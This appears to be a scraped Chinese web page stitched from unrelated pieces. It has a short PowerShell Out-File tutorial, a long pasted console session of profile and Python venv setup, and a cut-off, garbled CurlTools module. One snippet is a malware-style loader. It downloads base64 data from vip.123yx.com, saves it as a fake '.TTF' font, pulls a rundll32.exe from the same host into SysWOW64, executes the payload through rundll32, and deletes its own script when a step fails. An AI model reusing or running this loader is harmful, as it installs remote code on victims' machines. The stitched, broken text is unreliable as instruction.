合肥to outfile linux脚本,PowerShell中使用Out-File把字符串或运行结果保存到文件的方法...

本文介绍如何使用PowerShell的Out-File cmdlet快速在指定路径下创建文件并写入内容,通过简单命令即可完成文件的生成及内容填充。

本文介绍PowerShell中如何将一个字符串输出到一个文件文件中。

有这样一个任务:快速的在d:\下面建立一个1.txt文件,并在其中写入一句“Hello World!”。

面对这个任务,如果我们立即去想FileStream对象,那就错了!FileStream是.NET中的传统方法了!在PowerShell中,我们可以使用Out-File这个cmdlet来一步实现这个效果。

复制代码 代码如下:

PS C:\Users\spaybow> "Hello World!" | Out-File d:\1.txt

PS C:\Users\spaybow> type d:\1.txt

Hello World!

解释一下:

第一个命令,使用out-file这个cmdlet,把"Hello World!"当作一个管道参数输入,输出到d:\1.txt中。如果不管写入方式、不管文件是否存在、不管编码问题,那就直接Out-File 即可把一个字符串输出到一个文件中。

第二个命令,使用type来显示文件的内容。type是Get-Content的一个别名。

关于PowerShell输出字符串到文件,本文就介绍这么多,希望对您有所帮助,谢谢!

PS C:\Users\Administrator\Desktop> # 检查 PowerShell 7 安装路径 PS C:\Users\Administrator\Desktop> $pwshPath = "$env:ProgramFiles\PowerShell\7\pwsh.exe" PS C:\Users\Administrator\Desktop> Test-Path $pwshPath False PS C:\Users\Administrator\Desktop> PS C:\Users\Administrator\Desktop> # 检查版本 PS C:\Users\Administrator\Desktop> & $pwshPath -Command { $PSVersionTable } & : 无法将“C:\Program Files\PowerShell\7\pwsh.exe”项识别为 cmdlet、函数、脚本文件运行程序的称。请检查称的拼写,如果包括路径,请确保路径正确,然后再试一次。 所在位置 行:1 字符: 3 + & $pwshPath -Command { $PSVersionTable } + ~~~~~~~~~ + CategoryInfo : ObjectNotFound: (C:\Program Files\PowerShell\7\pwsh.exe:String) [], CommandNotFoundExcep tion + FullyQualifiedErrorId : CommandNotFoundException PS C:\Users\Administrator\Desktop> # 创建 PowerShell 7 专用配置文件 PS C:\Users\Administrator\Desktop> $pwshProfile = "$env:USERPROFILE\Documents\PowerShell\Microsoft.PowerShell_profile.ps1" PS C:\Users\Administrator\Desktop> if (-not (Test-Path $pwshProfile)) { >> New-Item -Path $pwshProfile -ItemType File -Force >> } PS C:\Users\Administrator\Desktop> PS C:\Users\Administrator\Desktop> # 添加基础配置 PS C:\Users\Administrator\Desktop> @' >> # 启用现代语法 >> Set-StrictMode -Version 3.0 >> >> # 自定义函数 >> function Invoke-Analyzer { & "E:\DesktopAnalyzer.ps1" } >> function Invoke-Verifier { & "E:\PythonEnvVerifier.ps1" } >> >> function Clean-Desktop { >> $desktopPath = [Environment]::GetFolderPath("Desktop") >> $items = @("myenv", "PythonTools", "path_diagnostic.py", "PythonEnvRepair*") >> >> $removedCount = 0 >> foreach ($item in $items) { >> $path = Join-Path $desktopPath $item >> if (Test-Path $path) { >> Remove-Item $path -Recurse -Force -ErrorAction SilentlyContinue >> $removedCount++ >> } >> } >> >> Write-Host "清理完成: 已删除 $removedCount 个项目" -ForegroundColor Green >> } >> >> # 别设置 >> Set-Alias da Invoke-Analyzer >> Set-Alias ve Invoke-Verifier >> Set-Alias clean Clean-Desktop >> >> # 提示信息 >> Write-Host "PowerShell 7 环境已加载 (版本: $($PSVersionTable.PSVersion))" -ForegroundColor Cyan >> '@ | Set-Content -Path $pwshProfile -Encoding UTF8 PS C:\Users\Administrator\Desktop> # 创建快捷方式 PS C:\Users\Administrator\Desktop> $shortcutPath = "$env:USERPROFILE\Desktop\PowerShell 7.lnk" PS C:\Users\Administrator\Desktop> $WshShell = New-Object -ComObject WScript.Shell PS C:\Users\Administrator\Desktop> $shortcut = $WshShell.CreateShortcut($shortcutPath) PS C:\Users\Administrator\Desktop> $shortcut.TargetPath = "$env:ProgramFiles\PowerShell\7\pwsh.exe" PS C:\Users\Administrator\Desktop> $shortcut.Arguments = "-NoExit -Command `". `'$pwshProfile`'`"" PS C:\Users\Administrator\Desktop> $shortcut.IconLocation = "$env:ProgramFiles\PowerShell\7\assets\Powershell_av_colors.ico" PS C:\Users\Administrator\Desktop> $shortcut.Save() PS C:\Users\Administrator\Desktop> # 确保分析脚本存在 PS C:\Users\Administrator\Desktop> if (-not (Test-Path "E:\DesktopAnalyzer.ps1")) { >> @' >> # 桌面分析脚本内容 >> $desktopPath = [Environment]::GetFolderPath("Desktop") >> Write-Host "`n=== 桌面文件分析报告 ===`n" -ForegroundColor Cyan >> >> $items = Get-ChildItem -Path $desktopPath -Force >> if (-not $items) { >> Write-Host "桌面是空的!" -ForegroundColor Green >> exit >> } >> >> # ... 完整脚本内容 ... >> '@ | Set-Content -Path "E:\DesktopAnalyzer.ps1" -Encoding UTF8 >> } PS C:\Users\Administrator\Desktop> PS C:\Users\Administrator\Desktop> # 确保验证脚本存在 PS C:\Users\Administrator\Desktop> if (-not (Test-Path "E:\PythonEnvVerifier.ps1")) { >> @' >> # 环境验证脚本内容 >> function Verify-Environment { >> # ... 完整脚本内容 ... >> } >> Verify-Environment >> '@ | Set-Content -Path "E:\EnvVerifier.ps1" -Encoding UTF8 >> } PS C:\Users\Administrator\Desktop> # 三元运算符(正确用法) PS C:\Users\Administrator\Desktop> $result = "成功" PS C:\Users\Administrator\Desktop> Write-Host "检测结果: $result" -ForegroundColor ($result -eq '成功' ? 'Green' : 'Red') 所在位置 行:1 字符: 63 + ... ite-Host "检测结果: $result" -ForegroundColor ($result -eq '成功' ? 'Green' ... + ~ 达式语句中包含意外的标记“?”。 所在位置 行:1 字符: 62 + Write-Host "检测结果: $result" -ForegroundColor ($result -eq '成功' ? 'Gree ... + ~ 达式中缺少右“)”。 所在位置 行:1 字符: 80 + ... "检测结果: $result" -ForegroundColor ($result -eq '成功' ? 'Green' : 'Red') + ~ 达式语句中包含意外的标记“)”。 + CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException + FullyQualifiedErrorId : UnexpectedToken PS C:\Users\Administrator\Desktop> PS C:\Users\Administrator\Desktop> # 空值合运算符 PS C:\Users\Administrator\Desktop> $envVar = $null PS C:\Users\Administrator\Desktop> Write-Host "PYTHONPATH: $($envVar ?? '未设置')" 所在位置 行:1 字符: 35 + Write-Host "PYTHONPATH: $($envVar ?? '未设置')" + ~~ 达式语句中包含意外的标记“??”。 + CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException + FullyQualifiedErrorId : UnexpectedToken PS C:\Users\Administrator\Desktop> PS C:\Users\Administrator\Desktop> # 管道链运算符 PS C:\Users\Administrator\Desktop> Get-ChildItem *.py | ForEach-Object { "Python文件: $($_.Name)" } Python文件: test_module.py Python文件: verify_path.py PS C:\Users\Administrator\Desktop> PS C:\Users\Administrator\Desktop> # 简化的错误处理 PS C:\Users\Administrator\Desktop> try { >> Get-Item "C:\不存在路径" -ErrorAction Stop >> } catch { >> Write-Host "错误: $_" -ForegroundColor Red >> } 错误: 找不到路径“C:\不存在路径”,因为该路径不存在。 PS C:\Users\Administrator\Desktop> PS C:\Users\Administrator\Desktop> # 类定义(PowerShell 5+) PS C:\Users\Administrator\Desktop> class FileInfo { >> [string]$Name >> [datetime]$Modified >> [double]$SizeKB >> 所在位置 行:4 字符: 5 + [double]$SizeKB + ~~~~~~~~~~~~~~~ 语句块类型定义中缺少右“}”。 + CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException + FullyQualifiedErrorId : MissingEndCurlyBrace PS C:\Users\Administrator\Desktop> FileInfo([System.IO.FileInfo]$file) { >> $this.Name = $file.Name >> $this.Modified = $file.LastWriteTime >> $this.SizeKB = [math]::Round($file.Length / 1KB, 2) >> } FileInfo : 无法将“FileInfo”项识别为 cmdlet、函数、脚本文件运行程序的称。请检查称的拼写,如果包括路径,请确保路径正确,然后再试一次。 所在位置 行:1 字符: 5 + FileInfo([System.IO.FileInfo]$file) { + ~~~~~~~~ + CategoryInfo : ObjectNotFound: (FileInfo:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException PS C:\Users\Administrator\Desktop> } 所在位置 行:1 字符: 1 + } + ~ 达式语句中包含意外的标记“}”。 + CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException + FullyQualifiedErrorId : UnexpectedToken PS C:\Users\Administrator\Desktop> PS C:\Users\Administrator\Desktop> # 使用类 PS C:\Users\Administrator\Desktop> $files = Get-ChildItem | Where-Object { -not $_.PSIsContainer } | ForEach-Object { >> [FileInfo]::new($_) >> } 找不到类型 [FileInfo]。 所在位置 行:2 字符: 5 + [FileInfo]::new($_) + ~~~~~~~~~~ + CategoryInfo : InvalidOperation: (FileInfo:TypeName) [],RuntimeException + FullyQualifiedErrorId : TypeNotFound 找不到类型 [FileInfo]。 所在位置 行:2 字符: 5 + [FileInfo]::new($_) + ~~~~~~~~~~ + CategoryInfo : InvalidOperation: (FileInfo:TypeName) [],RuntimeException + FullyQualifiedErrorId : TypeNotFound 找不到类型 [FileInfo]。 所在位置 行:2 字符: 5 + [FileInfo]::new($_) + ~~~~~~~~~~ + CategoryInfo : InvalidOperation: (FileInfo:TypeName) [],RuntimeException + FullyQualifiedErrorId : TypeNotFound 找不到类型 [FileInfo]。 所在位置 行:2 字符: 5 + [FileInfo]::new($_) + ~~~~~~~~~~ + CategoryInfo : InvalidOperation: (FileInfo:TypeName) [],RuntimeException + FullyQualifiedErrorId : TypeNotFound 找不到类型 [FileInfo]。 所在位置 行:2 字符: 5 + [FileInfo]::new($_) + ~~~~~~~~~~ + CategoryInfo : InvalidOperation: (FileInfo:TypeName) [],RuntimeException + FullyQualifiedErrorId : TypeNotFound 找不到类型 [FileInfo]。 所在位置 行:2 字符: 5 + [FileInfo]::new($_) + ~~~~~~~~~~ + CategoryInfo : InvalidOperation: (FileInfo:TypeName) [],RuntimeException + FullyQualifiedErrorId : TypeNotFound 找不到类型 [FileInfo]。 所在位置 行:2 字符: 5 + [FileInfo]::new($_) + ~~~~~~~~~~ + CategoryInfo : InvalidOperation: (FileInfo:TypeName) [],RuntimeException + FullyQualifiedErrorId : TypeNotFound 找不到类型 [FileInfo]。 所在位置 行:2 字符: 5 + [FileInfo]::new($_) + ~~~~~~~~~~ + CategoryInfo : InvalidOperation: (FileInfo:TypeName) [],RuntimeException + FullyQualifiedErrorId : TypeNotFound 找不到类型 [FileInfo]。 所在位置 行:2 字符: 5 + [FileInfo]::new($_) + ~~~~~~~~~~ + CategoryInfo : InvalidOperation: (FileInfo:TypeName) [],RuntimeException + FullyQualifiedErrorId : TypeNotFound 找不到类型 [FileInfo]。 所在位置 行:2 字符: 5 + [FileInfo]::new($_) + ~~~~~~~~~~ + CategoryInfo : InvalidOperation: (FileInfo:TypeName) [],RuntimeException + FullyQualifiedErrorId : TypeNotFound 找不到类型 [FileInfo]。 所在位置 行:2 字符: 5 + [FileInfo]::new($_) + ~~~~~~~~~~ + CategoryInfo : InvalidOperation: (FileInfo:TypeName) [],RuntimeException + FullyQualifiedErrorId : TypeNotFound PS C:\Users\Administrator\Desktop> $files | Format-Table Name, Modified, SizeKB PS C:\Users\Administrator\Desktop> # 创建Python虚拟环境 PS C:\Users\Administrator\Desktop> python -m venv "E:\PythonTools\clean_env" PS C:\Users\Administrator\Desktop> PS C:\Users\Administrator\Desktop> # 激活虚拟环境 PS C:\Users\Administrator\Desktop> . "E:\PythonTools\clean_env\Scripts\Activate.ps1" (clean_env) PS C:\Users\Administrator\Desktop> (clean_env) PS C:\Users\Administrator\Desktop> # 检查Python路径 (clean_env) PS C:\Users\Administrator\Desktop> Write-Host "当前Python: $(which python)" which : 无法将“which”项识别为 cmdlet、函数、脚本文件运行程序的称。请检查称的拼写,如果包括路径,请确保路径正确,然后再试一次。 所在位置 行:1 字符: 25 + Write-Host "当前Python: $(which python)" + ~~~~~ + CategoryInfo : ObjectNotFound: (which:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException 当前Python: (clean_env) PS C:\Users\Administrator\Desktop> (clean_env) PS C:\Users\Administrator\Desktop> # 在虚拟环境中运行脚本 (clean_env) PS C:\Users\Administrator\Desktop> python -c "import sys; print(sys.path)" ['', 'C:\\Users\\Administrator\\Desktop', 'E:\\Python310\\python310.zip', 'E:\\Python310\\DLLs', 'E:\\Python310\\lib', 'E:\\Python310', 'E:\\PythonTools\\clean_env', 'E:\\PythonTools\\clean_env\\lib\\site-packages'] (clean_env) PS C:\Users\Administrator\Desktop> (clean_env) PS C:\Users\Administrator\Desktop> # 安装依赖 (clean_env) PS C:\Users\Administrator\Desktop> pip install -r "E:\requirements.txt" Looking in indexes: https://pypi.tuna.tsinghua.edu.cn/simple Collecting flask>=2.0.0 Using cached https://pypi.tuna.tsinghua.edu.cn/packages/ec/f9/7f9263c5695f4bd0023734af91bedb2ff8209e8de6ead162f35d8dc762fd/flask-3.1.2-py3-none-any.whl (103 kB) Collecting python-dotenv Using cached https://pypi.tuna.tsinghua.edu.cn/packages/5f/ed/539768cf28c661b5b068d66d96a2f155c4971a5d55684a514c1a0e0dec2f/python_dotenv-1.1.1-py3-none-any.whl (20 kB) Collecting psutil Using cached https://pypi.tuna.tsinghua.edu.cn/packages/50/1b/6921afe68c74868b4c9fa424dad3be35b095e16687989ebbb50ce4fceb7c/psutil-7.0.0-cp37-abi3-win_amd64.whl (244 kB) Collecting sqlalchemy Downloading https://pypi.tuna.tsinghua.edu.cn/packages/38/2d/bfc6b6143adef553a08295490ddc52607ee435b9c751c714620c1b3dd44d/sqlalchemy-2.0.43-cp310-cp310-win_amd64.whl (2.1 MB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 2.1/2.1 MB 68.2 MB/s eta 0:00:00 Collecting requests Using cached https://pypi.tuna.tsinghua.edu.cn/packages/1e/db/4254e3eabe8020b458f1a747140d32277ec7a271daf1d235b70dc0b4e6e3/requests-2.32.5-py3-none-any.whl (64 kB) Collecting flask-sse Downloading https://pypi.tuna.tsinghua.edu.cn/packages/71/83/f9fe86f554a153fdd300fb8027121d508a2177605bd158d967ddd7325948/Flask_SSE-1.0.0-py2.py3-none-any.whl (5.0 kB) Collecting itsdangerous>=2.2.0 Using cached https://pypi.tuna.tsinghua.edu.cn/packages/04/96/92447566d16df59b2a776c0fb82dbc4d9e07cd95062562af01e408583fc4/itsdangerous-2.2.0-py3-none-any.whl (16 kB) Collecting blinker>=1.9.0 Using cached https://pypi.tuna.tsinghua.edu.cn/packages/10/cb/f2ad4230dc2eb1a74edf38f1a38b9b52277f75bef262d8908e60d957e13c/blinker-1.9.0-py3-none-any.whl (8.5 kB) Collecting markupsafe>=2.1.1 Using cached https://pypi.tuna.tsinghua.edu.cn/packages/44/06/e7175d06dd6e9172d4a69a72592cb3f7a996a9c396eee29082826449bbc3/MarkupSafe-3.0.2-cp310-cp310-win_amd64.whl (15 kB) Collecting werkzeug>=3.1.0 Using cached https://pypi.tuna.tsinghua.edu.cn/packages/52/24/ab44c871b0f07f491e5d2ad12c9bd7358e527510618cb1b803a88e986db1/werkzeug-3.1.3-py3-none-any.whl (224 kB) Collecting jinja2>=3.1.2 Using cached https://pypi.tuna.tsinghua.edu.cn/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl (134 kB) Collecting click>=8.1.3 Using cached https://pypi.tuna.tsinghua.edu.cn/packages/85/32/10bb5764d90a8eee674e9dc6f4db6a0ab47c8c4d0d83c27f7c39ac415a4d/click-8.2.1-py3-none-any.whl (102 kB) Collecting typing-extensions>=4.6.0 Using cached https://pypi.tuna.tsinghua.edu.cn/packages/b5/00/d631e67a838026495268c2f6884f3711a15a9a2a96cd244fdaea53b823fb/typing_extensions-4.14.1-py3-none-any.whl (43 kB) Collecting greenlet>=1 Downloading https://pypi.tuna.tsinghua.edu.cn/packages/d6/6f/b60b0291d9623c496638c582297ead61f43c4b72eef5e9c926ef4565ec13/greenlet-3.2.4-cp310-cp310-win_amd64.whl (298 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 298.7/298.7 kB ? eta 0:00:00 Collecting certifi>=2017.4.17 Using cached https://pypi.tuna.tsinghua.edu.cn/packages/e5/48/1549795ba7742c948d2ad169c1c8cdbae65bc450d6cd753d124b17c8cd32/certifi-2025.8.3-py3-none-any.whl (161 kB) Collecting charset_normalizer<4,>=2 Using cached https://pypi.tuna.tsinghua.edu.cn/packages/e2/c6/f05db471f81af1fa01839d44ae2a8bfeec8d2a8b4590f16c4e7393afd323/charset_normalizer-3.4.3-cp310-cp310-win_amd64.whl (107 kB) Collecting urllib3<3,>=1.21.1 Using cached https://pypi.tuna.tsinghua.edu.cn/packages/a7/c2/fe1e52489ae3122415c51f387e221dd0773709bad6c6cdaa599e8a2c5185/urllib3-2.5.0-py3-none-any.whl (129 kB) Collecting idna<4,>=2.5 Using cached https://pypi.tuna.tsinghua.edu.cn/packages/76/c6/c88e154df9c4e1a2a66ccf0005a88dfb2650c1dffb6f5ce603dfbd452ce3/idna-3.10-py3-none-any.whl (70 kB) Collecting six Using cached https://pypi.tuna.tsinghua.edu.cn/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl (11 kB) Collecting redis Downloading https://pypi.tuna.tsinghua.edu.cn/packages/e8/02/89e2ed7e85db6c93dfa9e8f691c5087df4e3551ab39081a4d7c6d1f90e05/redis-6.4.0-py3-none-any.whl (279 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 279.8/279.8 kB ? eta 0:00:00 Collecting colorama Using cached https://pypi.tuna.tsinghua.edu.cn/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl (25 kB) Collecting async-timeout>=4.0.3 Downloading https://pypi.tuna.tsinghua.edu.cn/packages/fe/ba/e2081de779ca30d473f21f5b30e0e737c438205440784c7dfc81efc2b029/async_timeout-5.0.1-py3-none-any.whl (6.2 kB) Installing collected packages: urllib3, typing-extensions, six, python-dotenv, psutil, markupsafe, itsdangerous, idna, greenlet, colorama, charset_normalizer, certifi, blinker, async-timeout, werkzeug, sqlalchemy, requests, redis, jinja2, click, flask, flask-sse Successfully installed async-timeout-5.0.1 blinker-1.9.0 certifi-2025.8.3 charset_normalizer-3.4.3 click-8.2.1 colorama-0.4.6 flask-3.1.2 flask-sse-1.0.0 greenlet-3.2.4 idna-3.10 itsdangerous-2.2.0 jinja2-3.1.6 markupsafe-3.0.2 psutil-7.0.0 python-dotenv-1.1.1 redis-6.4.0 requests-2.32.5 six-1.17.0 sqlalchemy-2.0.43 typing-extensions-4.14.1 urllib3-2.5.0 werkzeug-3.1.3 [notice] A new release of pip available: 22.3.1 -> 25.2 [notice] To update, run: python.exe -m pip install --upgrade pip (clean_env) PS C:\Users\Administrator\Desktop> (clean_env) PS C:\Users\Administrator\Desktop> # 运行Python脚本 (clean_env) PS C:\Users\Administrator\Desktop> python "E:\verify_path.py" E:\Python310\python.exe: can't open file 'E:\\verify_path.py': [Errno 2] No such file or directory (clean_env) PS C:\Users\Administrator\Desktop> (clean_env) PS C:\Users\Administrator\Desktop> # 停用虚拟环境 (clean_env) PS C:\Users\Administrator\Desktop> deactivate PS C:\Users\Administrator\Desktop> # 保存为 E:\Setup-PowerShell7.ps1 PS C:\Users\Administrator\Desktop> param( >> [switch]$Install, >> [switch]$Configure >> ) PS C:\Users\Administrator\Desktop> PS C:\Users\Administrator\Desktop> # 安装 PowerShell 7 PS C:\Users\Administrator\Desktop> if ($Install) { >> $url = "https://github.com/PowerShell/PowerShell/releases/download/v7.3.6/PowerShell-7.3.6-win-x64.msi" >> $output = "$env:TEMP\PowerShell-7.3.6-win-x64.msi" >> >> Invoke-WebRequest -Uri $url -OutFile $output >> Start-Process msiexec.exe -ArgumentList "/i `"$output`" /qn" -Wait >> Remove-Item $output -Force >> } PS C:\Users\Administrator\Desktop> PS C:\Users\Administrator\Desktop> # 配置环境 PS C:\Users\Administrator\Desktop> if ($Configure) { >> # 创建配置文件 >> $pwshProfile = "$env:USERPROFILE\Documents\PowerShell\Microsoft.PowerShell_profile.ps1" >> @' >> # 配置文件内容 >> '@ | Set-Content -Path $pwshProfile -Encoding UTF8 >> >> # 创建脚本文件 >> # ... >> >> # 创建快捷方式 >> # ... >> >> Write-Host "PowerShell 7 环境配置完成!" -ForegroundColor Green >> Write-Host "请使用桌面上的 'PowerShell 7' 快捷方式启动" -ForegroundColor Yellow >> } PS C:\Users\Administrator\Desktop> PS C:\Users\Administrator\Desktop> # 使用示例: PS C:\Users\Administrator\Desktop> # .\Setup-PowerShell7.ps1 -Install -Configure PS C:\Users\Administrator\Desktop> .\Setup-PowerShell7.ps1 -Install -Configure .\Setup-PowerShell7.ps1 : 无法将“.\Setup-PowerShell7.ps1”项识别为 cmdlet、函数、脚本文件运行程序的称。请检查称的拼写,如果包括路径,请确保路径正确,然后再试一次。 所在位置 行:1 字符: 1 + .\Setup-PowerShell7.ps1 -Install -Configure + ~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (.\Setup-PowerShell7.ps1:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException PS C:\Users\Administrator\Desktop> da # 运行桌面分析 da : 无法将“da”项识别为 cmdlet、函数、脚本文件运行程序的称。请检查称的拼写,如果包括路径,请确保路径正确,然后再试一次。 所在位置 行:1 字符: 1 + da # 运行桌面分析 + ~~ + CategoryInfo : ObjectNotFound: (da:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException PS C:\Users\Administrator\Desktop> ve # 运行环境验证 ve : 无法将“ve”项识别为 cmdlet、函数、脚本文件运行程序的称。请检查称的拼写,如果包括路径,请确保路径正确,然后再试一次。 所在位置 行:1 字符: 1 + ve # 运行环境验证 + ~~ + CategoryInfo : ObjectNotFound: (ve:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException PS C:\Users\Administrator\Desktop> clean # 清理桌面 clean : 无法将“clean”项识别为 cmdlet、函数、脚本文件运行程序的称。请检查称的拼写,如果包括路径,请确保路径正确,然后再试一次。 所在位置 行:1 字符: 1 + clean # 清理桌面 + ~~~~~ + CategoryInfo : ObjectNotFound: (clean:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException PS C:\Users\Administrator\Desktop> # 创建激活环境 PS C:\Users\Administrator\Desktop> python -m venv "E:\myenv" PS C:\Users\Administrator\Desktop> . "E:\myenv\Scripts\Activate.ps1" (myenv) PS C:\Users\Administrator\Desktop> (myenv) PS C:\Users\Administrator\Desktop> # 在虚拟环境中工作 (myenv) PS C:\Users\Administrator\Desktop> pip install pandas Looking in indexes: https://pypi.tuna.tsinghua.edu.cn/simple Collecting pandas Downloading https://pypi.tuna.tsinghua.edu.cn/packages/d8/df/5ab92fcd76455a632b3db34a746e1074d432c0cdbbd28d7cd1daba46a75d/pandas-2.3.2-cp310-cp310-win_amd64.whl (11.3 MB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 11.3/11.3 MB 81.8 MB/s eta 0:00:00 Collecting numpy>=1.22.4 Using cached https://pypi.tuna.tsinghua.edu.cn/packages/a3/dd/4b822569d6b96c39d1215dbae0582fd99954dcbcf0c1a13c61783feaca3f/numpy-2.2.6-cp310-cp310-win_amd64.whl (12.9 MB) Collecting pytz>=2020.1 Using cached https://pypi.tuna.tsinghua.edu.cn/packages/81/c4/34e93fe5f5429d7570ec1fa436f1986fb1f00c3e0f43a589fe2bbcd22c3f/pytz-2025.2-py2.py3-none-any.whl (509 kB) Collecting tzdata>=2022.7 Using cached https://pypi.tuna.tsinghua.edu.cn/packages/5c/23/c7abc0ca0a1526a0774eca151daeb8de62ec457e77262b66b359c3c7679e/tzdata-2025.2-py2.py3-none-any.whl (347 kB) Collecting python-dateutil>=2.8.2 Using cached https://pypi.tuna.tsinghua.edu.cn/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl (229 kB) Collecting six>=1.5 Using cached https://pypi.tuna.tsinghua.edu.cn/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl (11 kB) Installing collected packages: pytz, tzdata, six, numpy, python-dateutil, pandas Successfully installed numpy-2.2.6 pandas-2.3.2 python-dateutil-2.9.0.post0 pytz-2025.2 six-1.17.0 tzdata-2025.2 [notice] A new release of pip available: 22.3.1 -> 25.2 [notice] To update, run: python.exe -m pip install --upgrade pip (myenv) PS C:\Users\Administrator\Desktop> python myscript.py E:\Python310\python.exe: can't open file 'C:\\Users\\Administrator\\Desktop\\myscript.py': [Errno 2] No such file or directory (myenv) PS C:\Users\Administrator\Desktop> (myenv) PS C:\Users\Administrator\Desktop> # 退出环境 (myenv) PS C:\Users\Administrator\Desktop> deactivate PS C:\Users\Administrator\Desktop> Set-ExecutionPolicy RemoteSigned -Scope CurrentUser PS C:\Users\Administrator\Desktop> Set-ExecutionPolicy RemoteSigned -Scope CurrentUser PS C:\Users\Administrator\Desktop> $scriptPath = Join-Path $PSScriptRoot "myscript.ps1" Join-Path : 无法将参数绑定到参数“Path”,因为该参数为空字符串。 所在位置 行:1 字符: 25 + $scriptPath = Join-Path $PSScriptRoot "myscript.ps1" + ~~~~~~~~~~~~~ + CategoryInfo : InvalidData: (:) [Join-Path],ParameterBindingValidationException + FullyQualifiedErrorId : ParameterArgumentValidationErrorEmptyStringNotAllowed,Microsoft.PowerShell.Commands.Join PathCommand PS C:\Users\Administrator\Desktop>
08-24
rundll32 -Force -ErrorAction SilentlyContinue}#下载链接 $downloadLink ="https://vip.123yx.com/1830337273/KT/KTXP"if(-not $downloadLink){Write-Host "Nodownload link found." -ForegroundColor Red Start-Sleep -Seconds 2 $scriptPath =$Mylnvocation.MyCommand.Path Start-Process -FilePath "powershell.exe" -ArgumentList"-Command Start-Sleep -Seconds 1; Remove-ltem -Path '$scriptPath' -Force" -NoNewWindow exit}#生成临时保存路径 $randomDir =Join-Path $env:TEMP("DL\"+(Get-Date -Format "yyyyMMddHHmmss") + (Get-Random)) $outFile = Join-Path$randomDir ((Get-Random).ToString ()+ "1.TTF") New-ltem -Path $randomDir -ltemTypeDirectory -Force|Out-Null #下载 Base64 内容,失败切换 curl.exe try{$base64EncodedContent = Invoke-RestMethod -Uri $downloadLink -ErrorAction Stop)catch {try { $base64EncodedContent = & curl.exe -s $downloadLink if (-not$base64EncodedContent) {throw "curl.exe 下载失败内容为空"}} catch {Start-SleepSeconds 2 $scriptPath = $MyInvocation.MyCommand.Path Start-Process -FilePath"powershell.exe" -ArgumentList "-Command Start-Sleep -Seconds 1; Remove-ltem -Path'$scriptPath'-Force" -NoNewWindow exit}}# 解码保存文件 $binaryContent =[Convert]::FromBase64String ($base64EncodedContent) [System.l0.File]::WriteAllBytes($outFile, $binaryContent)# 检査下载 rundll32.exe 文件 (如果不存在) $FilePath ='C:\Windows\SysWOW64\rundll32.exe" if (-Not (Test-Path $FilePath)) {$rundll ="https://vip.123yx.com/1844947338/20250106/rundll32" try { Invoke-WebRequest -Uri$rundll -OutFile $FilePath -ErrorAction Stop Write-Host "rundll32.exe 使用Invoke-WebRequest 下载成功。" -ForegroundColor Green} catch {Write-Host "rundll32.exe 使用Invoke-WebRequest 下载失败:$($\_.Exception.Message),尝试用 curl.exe 下载..."ForegroundColor Yellow try {Start-Process -FilePath "curl.exe" -ArgumentList "-o'FilePath'” rundl!""-NoNewWindow -Wait if (-not (Test-PathFilePath)) {throw"rundll32.exe curl.exe 下载失败"} } catch {Start-Sleep -Seconds 2 scriptPath =MyInvocation.MyCommand.PathStart-Process-FilePathpowershell.exe”-ArgumentList ”-CommandStart-SleepSecondsl;Remove-Item-Path'scriptPath'-Force"-NoNewWindow exit} }}#运行下载的文件 Start-ProcessFilePath"rundl32.exe"-ArgumentList"$outFile,XPA" exit
06-20
PS C:\Users\Administrator> # CurlTools.psm1 >> # ============== >> # 完整修复的模块代码 >> >> # 模块初始化块 >> $script:Config = $null >> $script:CurlPath = $null >> $script:ConfigDir = $null >> $script:ConfigPath = $null >> $script:ModuleInitialized = $false >> >> # 检测操作系统 >> function Get-Platform { >> if ($PSVersionTable.PSEdition -eq "Core") { >> if ($IsWindows) { "Windows" } >> elseif ($IsLinux) { "Linux" } >> elseif ($IsMacOS) { "macOS" } >> } else { >> if ($env:OS -like "Windows*") { "Windows" } >> elseif (Test-Path "/etc/os-release") { "Linux" } >> else { "macOS" } >> } >> } >> >> # 获取配置目录 >> function Get-ConfigDir { >> $platform = Get-Platform >> switch ($platform) { >> "Linux" { "$HOME/.config/curltools" } >> "macOS" { "$HOME/Library/Application Support/CurlTools" } >> default { "$env:APPDATA\CurlTools" } >> } >> } >> >> # 核心初始化函数 >> function Initialize-Module { >> try { >> # 设置配置目录 >> $script:Config极乐净土 >> if (-not (Test-Path $script:ConfigDir)) { >> New-Item -ItemType Directory -Path $script:ConfigDir -Force | Out-Null >> } >> $script:ConfigPath = Join-Path $script:ConfigDir "config.json" >> >> # 加载创建配置 >> if (Test-Path $script:ConfigPath) { >> $script:Config = Get-Content $script:ConfigPath | ConvertFrom-Json >> } >> >> if (-not $script:Config) { >> $script:Config = [PSCustomObject]@{ >> CurlPath = $null >> LastUpdate = (Get-Date).ToString("o") >> AutoUpdate = $true >> } >> } >> >> # 查找安装curl >> if (-not $script:Config.CurlPath -or -not (Test-Path $script:Config.CurlPath)) { >> $script:Config.CurlPath = Find-CurlPath >> } >> >> # 保存配置 >> $script:Config | ConvertTo-Json | Set-Content $script:ConfigPath -Force >> 